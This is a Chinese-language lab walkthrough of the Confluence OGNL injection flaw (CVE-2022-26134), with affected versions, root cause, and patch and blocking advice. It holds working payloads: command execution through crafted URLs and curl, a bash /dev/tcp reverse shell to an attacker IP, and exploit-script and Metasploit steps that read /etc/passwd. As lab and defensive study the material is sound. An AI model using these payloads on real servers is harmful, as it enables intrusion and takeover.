漏洞描述
远程攻击者在未经身份验证的情况下,可构造OGNL表达式进行注入,实现在Confluence Server或Data Center上执行任意代码。
影响版本
Confluence Server and Data Center >= 1.3.0
Confluence Server and Data Center < 7.4.17
Confluence Server and Data Center < 7.13.7
Confluence Server and Data Center < 7.14.3
Confluence Server and Data Center < 7.15.2
Confluence Server and Data Center < 7.16.4
Confluence Server and Data Center < 7.17.4
Confluence Server and Data Center < 7.18.1
背景知识
confluence
Atlassian Confluence(简称Confluence)是一个专业的wiki程序。它是一个知识管理的工具,通过它可以实现团队成员之间的协作和知识共享。团队将日常的工作任务进度管理、技术知识分享、开发文档、操作手册、文档附件都放置入Confluence中进行统一管理,富文本编辑器使文档内容支持更加丰富。
主要使用场景
目前,Confluence被用于广泛地用于项目团队,开发团队,市场销售团队。
漏洞危害
漏洞评分9.8,危害等级严重,攻击者可以利用此漏洞执行任意代码,直接获得权限。
漏洞原理
攻击者提供的URI将被转换为namespace,然后该namespace将被转换为OGNL表达式进行计算(攻击者提供的url被间接转化成了OGNL表达式进行计算)
OGNL
OGNL是一种功能强大的表达式语言,可以存取对象的任意属性,调用对象的方法,遍历整个对象的结构图,实现字段类型转化等功能。它使用相同的表达式去存取对象的属性。
OGNL常用表达式
1、当使用OGNL调用静态方法的时候,需要按照如下语法编写表达式:
@package.classname@methodname(parameter)
2、对于OGNL来说,java.lang.Math是其的默认类,如果调用java.lang.Math的静态方法时,无需指定类的名字,比如:@@min(4, 10);
环境搭建
目标机:Ubunut 192.168.164.129
攻击机:Kali 192.168.164.128
docker-compose up -d
环境搭建后访问192.169.164.129:8090即可访问页面
进入后的页面
漏洞验证与利用
1、BurpSuite
poc构造
${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("id").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}
使用URL转换
%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D
数据包如下(不可复制)
GET //%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/ HTTP/1.1
Host: 192.168.164.129:9080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=3764D915B037D5A50D8025AA793E990A
Connection: close
getshell
GET //%24%7Bnew%20javax.script.ScriptEngineManager%28%29.getEngineByName%28%22nashorn%22%29.eval%28%22new%20java.lang.ProcessBuilder%28%29.command%28%27bash%27%2C%27-c%27%2C%27bash%20-i%20%3E%26%20/dev/tcp/192.168.164.128/9898%200%3E%261%27%29.start%28%29%22%29%7D/ HTTP/1.1
%2F%2F%24%7Bnew+javax.script.ScriptEngineManager%28%29.getEngineByName%28%22nashorn%22%29.eval%28%22new+java.lang.ProcessBuilder%28%29.command%28%27bash%27%2C%27-c%27%2C%27bash+-i+%3E%26+%2Fdev%2Ftcp%2F192.168.164.128%2F9898+0%3E%261%27%29.start%28%29%22%29%7D%2F
2、CURL
curl -v http://192.168.164.129:8090//%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/
3、EXP利用
python3 CVE-2022-26134.py -h #帮助
python3 CVE-2022-26134.py --rhost 192.168.164.129 --rport 8090 --lhost 192.168.164.128 --protocol http:// --read-file /etc/passwd #读取文件
python3 CVE-2022-26134.py --rhost 192.168.164.129 --rport 8090 --lhost 192.168.164.128 --protocol http:// --reverse-shell #获取shell
不太好使
4、MSF
search 26134
set rhosts 192.168.164.129
set lhost 192.168.164.128
run
漏洞检测
1、版本检测
在登录界面以及Confluence主界面都能看到版本号,对应版本号可能会存在相关漏洞。
2、手动检测
利用BurpSuite或者是curl手动检测
3、脚本检测
支持单个url检测以及批量url检测。
Fofa语句
还是别乱搞了吧
漏洞修复
- 升级Atlassian Confluence Server and Data Center至安全版本。
- 下载官方发布的xwork-1.0.3-atlassian-10.jar替换confluence/WEB-INF/lib/目录下原来的xwork jar文件,并重启Confluence。
- 拦截请求参数中包含"getRuntime().exec("或"/etc/passwd"的流量。
注:漏洞脚本非原创